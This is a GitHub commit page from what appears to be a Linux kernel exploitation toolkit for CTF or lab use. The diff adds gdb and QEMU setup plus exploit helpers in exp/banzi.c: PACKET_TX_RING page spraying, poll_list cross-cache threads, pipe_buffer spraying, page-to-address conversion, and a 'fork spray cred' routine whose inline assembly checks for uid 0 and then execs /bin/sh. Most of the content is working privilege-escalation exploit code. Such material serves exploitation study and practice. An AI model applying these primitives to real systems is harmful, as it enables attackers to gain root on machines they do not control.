Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 3a5b8a3

Browse files
v20230506
1 parent 65b82a4 commit 3a5b8a3

File tree

10 files changed

+290
-505
lines changed

10 files changed

+290
-505
lines changed

‎.gdbinit‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
source /pwndbg/gdbinit.py
2+
set auto-load safe-path /
3+
4+
target remote :1234
5+
6+
# dprintf *0xffffffff8148810a, "do_sys_poll_kmalloc_ret: rax=%#lx\n", $rax
7+
8+
# b *0xffffffff81407164
9+
# commands 4
10+
# silent
11+
# printf "{\n"
12+
# bt
13+
# printf "__alloc_page_ret: rax=%#lx\n", ($rax-$vmemmap_base)*0x40+$virtual_base
14+
# printf "}\n"
15+
# c
16+
# end

‎.gitignore‎

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
pwn/*
22
exp/exp
33
.gdb_history
4-
.gdbinit
5-
.gdbinit-*
6-
.g
4+
.g
5+
.vscode

‎README.md‎

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,10 @@
66
```
77
### Run
88
```bash
9-
# in the host
10-
docker-compose exec <docker-id> /bin/bash
119
# remember to modify run.sh with $@ and core_modified.cpio
1210
<command to modify pwn/run.sh>
13-
```
14-
15-
```bash
16-
# in the container
17-
exp.sh
11+
# start the qemu
12+
./run.sh
13+
# start gdb
14+
./gdb.sh
1815
```

‎corescripts/exp.sh‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ BASEDIR=$(dirname "0ドル")
55
path=$BASEDIR/../pwn
66
exp_path=$BASEDIR/../exp
77
$BASEDIR/uncpio.sh && \
8-
gcc $exp_path/exp.c $exp_path/banzi.c -static -lkeyutils -lpthread -g -o $exp_path/exp && \
8+
gcc $exp_path/exp.c $exp_path/banzi.c -static -lkeyutils -lpthread -luring -g -o $exp_path/exp && \
99
cp $exp_path/exp $path/core && \
1010
cp $path/init $path/core && \
1111
# cp $path/corescript/tools/* $path/core && \

‎docker-compose.yml‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ services:
99
- ./corescripts:/root/corescripts
1010
- ./pwn:/root/pwn
1111
- ./gdb_internal.sh:/gdb_internal.sh
12+
- ./.gdbinit:/root/.gdbinit
1213
environment:
1314
- LC_CTYPE=C.UTF-8
1415
- WORKDIR=/root/pwn

‎exp/banzi.c‎

Lines changed: 207 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
*/
66
int sprayfd_child[2];
77
int sprayfd_parent[2];
8-
int socketfds[INITIAL_PAGE_SPRAY];
8+
int socketfds[10*INITIAL_PAGE_SPRAY];
99
unsigned long user_cs, user_ss, user_rflags, user_sp;
1010
unsigned long long int base_addr;
1111
void *(*prepare_kernel_cred)(uint64_t)KERNCALL;
@@ -47,12 +47,13 @@ void unshare_setup(uid_t uid, gid_t gid) {
4747
return;
4848
}
4949

50-
void send_spray_cmd(enum spray_cmd cmd, int idx) {
50+
void send_spray_cmd(enum spray_cmd cmd, int idx, uint32_torder) {
5151
ipc_req_t req;
5252
int32_t result;
5353

5454
req.cmd = cmd;
5555
req.idx = idx;
56+
req.order = order;
5657
write(sprayfd_child[1], &req, sizeof(req));
5758
read(sprayfd_parent[0], &result, sizeof(result));
5859
assert(result == idx);
@@ -84,6 +85,8 @@ int alloc_pages_via_sock(uint32_t size, uint32_t n) {
8485
req.tp_frame_size = 4096;
8586
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
8687

88+
// printf("req.tp_block_size: %d\n", req.tp_block_size);
89+
8790
if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0) {
8891
perror("setsockopt PACKET_TX_RING failed");
8992
exit(-1);
@@ -98,9 +101,10 @@ void spray_comm_handler() {
98101

99102
do {
100103
read(sprayfd_child[0], &req, sizeof(req));
101-
assert(req.idx < INITIAL_PAGE_SPRAY);
104+
assert(req.idx < 10*INITIAL_PAGE_SPRAY);
102105
if (req.cmd == ALLOC_PAGE) {
103-
socketfds[req.idx] = alloc_pages_via_sock(4096, 1);
106+
assert(req.order < 10);
107+
socketfds[req.idx] = alloc_pages_via_sock(4096*(1 << req.order), 1);
104108
} else if (req.cmd == FREE_PAGE) {
105109
close(socketfds[req.idx]);
106110
}
@@ -110,6 +114,7 @@ void spray_comm_handler() {
110114
}
111115

112116
static void socket_spray_example() {
117+
uint32_t order = 0;
113118
// for communicating with spraying in separate namespace via TX_RINGs
114119
pipe(sprayfd_child);
115120
pipe(sprayfd_parent);
@@ -122,12 +127,12 @@ static void socket_spray_example() {
122127

123128
puts("Allocated all pages");
124129
for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) {
125-
send_spray_cmd(ALLOC_PAGE, i);
130+
send_spray_cmd(ALLOC_PAGE, i, order);
126131
}
127132

128133
puts("Closed all odd pages");
129134
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) {
130-
send_spray_cmd(FREE_PAGE, i);
135+
send_spray_cmd(FREE_PAGE, i, 0);
131136
}
132137

133138
// TODO: get the freed odd pages back with our struct
@@ -138,7 +143,7 @@ static void socket_spray_example() {
138143

139144
puts("Closed all even pages");
140145
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) {
141-
send_spray_cmd(FREE_PAGE, i);
146+
send_spray_cmd(FREE_PAGE, i, 0);
142147
}
143148
}
144149

@@ -480,6 +485,50 @@ void create_poll_thread(int id, size_t size, int timeout) {
480485
pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
481486
}
482487

488+
void *alloc_poll_list_for_crosscache(void *args) {
489+
struct pollfd *pfds;
490+
int nfds, timeout, id, watch_fd;
491+
492+
id = ((struct t_args *)args)->id;
493+
nfds = ((struct t_args *)args)->nfds;
494+
timeout = ((struct t_args *)args)->timeout;
495+
watch_fd = ((struct t_args *)args)->watch_fd;
496+
497+
pfds = calloc(nfds, sizeof(struct pollfd));
498+
499+
for (int i = 0; i < nfds; i++) {
500+
pfds[i].fd = watch_fd;
501+
pfds[i].events = POLLERR;
502+
}
503+
504+
assign_thread_to_core(0);
505+
506+
pthread_mutex_lock(&mutex);
507+
poll_threads++;
508+
pthread_mutex_unlock(&mutex);
509+
510+
sleep(6);
511+
512+
printf("[Thread %d] Start polling...\n", id);
513+
int ret = poll(pfds, nfds, timeout);
514+
printf("[Thread %d] Polling complete: %d!\n", id, ret);
515+
}
516+
517+
void create_poll_thread_for_crosscache(int id, size_t size, int timeout) {
518+
struct t_args *args;
519+
520+
args = calloc(1, sizeof(struct t_args));
521+
522+
if (size > PAGE_SIZE) size = size - ((size / PAGE_SIZE) * sizeof(struct poll_list));
523+
524+
args->id = id;
525+
args->nfds = NFDS(size);
526+
args->timeout = timeout;
527+
args->watch_fd = poll_watch_fd;
528+
529+
pthread_create(&poll_tid[id], 0, alloc_poll_list_for_crosscache, (void *)args);
530+
}
531+
483532
void join_poll_threads(void) {
484533
for (int i = 0; i < poll_threads; i++) pthread_join(poll_tid[i], NULL);
485534

@@ -534,4 +583,155 @@ void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t use
534583
sendmsg_msgs[i].msg_namelen = sizeof(socket_addr);
535584
register_userfault(sendmsg_mmaped_addrs[i] + 0x1000, PAGE_SIZE, (uint64_t)userfault_handler);
536585
}
586+
}
587+
588+
589+
/**
590+
* @brief pipe_buffer 相关
591+
*
592+
*/
593+
594+
595+
596+
int pipefds[PIPE_SPRAY_NUM][2];
597+
598+
void extend_pipe_buffer(int idx, size_t size) {
599+
int ret = fcntl(pipefds[idx][1], F_SETPIPE_SZ, size);
600+
if (ret < 0) {
601+
perror("[X] fcntl");
602+
exit(1);
603+
}
604+
}
605+
606+
void spray_pipe() {
607+
for (int i = 0; i < PIPE_SPRAY_NUM; i++) {
608+
if (pipe(pipefds[i]) < 0) {
609+
perror("[X] pipe");
610+
exit(1);
611+
}
612+
}
613+
}
614+
615+
/**
616+
* @brief convert page to physic address
617+
*
618+
*/
619+
620+
uint64_t virtual_base = 0xffff888000000000;
621+
uint64_t vmemmap_base = 0xffffea0000000000;
622+
623+
uint64_t page_to_virtual(uint64_t page) {
624+
uint64_t page_cnt = (page - vmemmap_base) / 0x40;
625+
uint64_t virtual_addr = virtual_base + page_cnt * 0x1000;
626+
return virtual_addr;
627+
}
628+
629+
uint64_t page_to_physic(uint64_t page) {
630+
return page_to_virtual(page) - virtual_base;
631+
}
632+
633+
634+
/**
635+
* @brief fork spray cred 相关
636+
*
637+
*/
638+
639+
__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest)
640+
{
641+
__asm__ __volatile__(
642+
".intel_syntax noprefix;\n"
643+
"mov r15, rsi;\n"
644+
"xor rsi, rsi;\n"
645+
"xor rdx, rdx;\n"
646+
"xor r10, r10;\n"
647+
"xor r9, r9;\n"
648+
"mov rax, 56;\n"
649+
"syscall;\n"
650+
"cmp rax, 0;\n"
651+
"jl bad_end;\n"
652+
"jg good_end;\n"
653+
"jmp r15;\n"
654+
"bad_end:\n"
655+
"neg rax;\n"
656+
"ret;\n"
657+
"good_end:\n"
658+
"ret;\n"
659+
".att_syntax prefix;\n"
660+
);
661+
}
662+
663+
int rootfd[2];
664+
struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
665+
char throwaway;
666+
char root[] = "root\n";
667+
char binsh[] = "/bin/sh\x00";
668+
char *args[] = {"/bin/sh", NULL};
669+
670+
__attribute__((naked)) void check_and_wait()
671+
{
672+
__asm__ __volatile__(
673+
".intel_syntax noprefix;\n"
674+
"lea rax, [rootfd];\n"
675+
"mov edi, dword ptr [rax];\n"
676+
"lea rsi, [throwaway];\n"
677+
"mov rdx, 1;\n"
678+
"xor rax, rax;\n"
679+
"syscall;\n"
680+
"mov rax, 102;\n"
681+
"syscall;\n"
682+
"cmp rax, 0;\n"
683+
"jne finish;\n"
684+
"mov rdi, 1;\n"
685+
"lea rsi, [root];\n"
686+
"mov rdx, 5;\n"
687+
"mov rax, 1;\n"
688+
"syscall;\n"
689+
"lea rdi, [binsh];\n"
690+
"lea rsi, [args];\n"
691+
"xor rdx, rdx;\n"
692+
"mov rax, 59;\n"
693+
"syscall;\n"
694+
"finish:\n"
695+
"lea rdi, [timer];\n"
696+
"xor rsi, rsi;\n"
697+
"mov rax, 35;\n"
698+
"syscall;\n"
699+
"ret;\n"
700+
".att_syntax prefix;\n"
701+
);
702+
}
703+
704+
int just_wait()
705+
{
706+
sleep(1000000000);
707+
}
708+
709+
void fork_spray_cred_example() {
710+
pipe(rootfd);
711+
712+
for (int i = 0; i < 0x20; i++) {
713+
pid_t result = fork();
714+
if (!result)
715+
{
716+
just_wait();
717+
}
718+
if (result < 0)
719+
{
720+
puts("fork limit");
721+
exit(-1);
722+
}
723+
}
724+
725+
// TODO: 页风水布局
726+
727+
for (int i = 0; i < 0x40; i++)
728+
{
729+
pid_t result = __clone(CLONE_FLAGS, &check_and_wait);
730+
if (result < 0)
731+
{
732+
perror("clone error");
733+
exit(-1);
734+
}
735+
}
736+
537737
}

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /